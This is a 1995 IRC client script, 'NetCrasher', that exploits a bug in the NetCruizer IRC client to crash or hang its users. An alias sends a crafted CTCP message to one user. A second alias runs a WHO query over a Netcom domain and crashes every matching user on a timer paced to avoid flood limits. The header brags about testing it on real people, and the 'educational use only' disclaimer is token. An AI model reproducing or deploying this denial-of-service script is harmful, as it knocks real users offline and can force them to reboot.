# NetCrasher -=- (c) 1995 by Hendrix (jimi@rahul.net)
#   Utilize a nice bug in the NetCruizer IRC client to crash
#   one or many NetCruizer lamers when they are using IRC.
#
#   I found this bug while experimenting on NetCruizer lamers
#   on 2/16.  Their NetCruizer client will crash, or sometimes
#   hang forcing them to reboot.  They will still appear to be
#   on IRC for up to 3 minutes until the server pings them out.
#
#   This script provided for educational use only.  Denying
#   Netcom users access to IRC is not a veryu nice thing to do.
#
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^alias crash eval msg $0 $ctcpstring

alias crashall {
  ^assign TIME 1
  ^assign -DOIT
  on ^raw_irc "% 352 *" {
    ^assign DOIT $DOIT;^timer $TIME crash $7
    ^assign TIME ${TIME+7}
    }
  on ^raw_irc "% 315 *" {
    on raw_irc -"% 352 *"
    on raw_irc -"% 315 *"
    eval $DOIT
    }
  who *.ix.netcom.com
  wait
  echo *** Will crash ${(TIME-1)/7} users...
  echo *** Time required to avoid excess flood: $TIME seconds
  }

^on ^send_msg "% *
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echo *** NetCrasher loaded.  /crash <nick> to crash a single NetCruizer lamer
echo *** /crashall to crash all NetCruizer lamers off IRC (will lag you)
echo *** Note that users crash immediately but do not leave IRC until the
echo *** server gives them a ping timeout.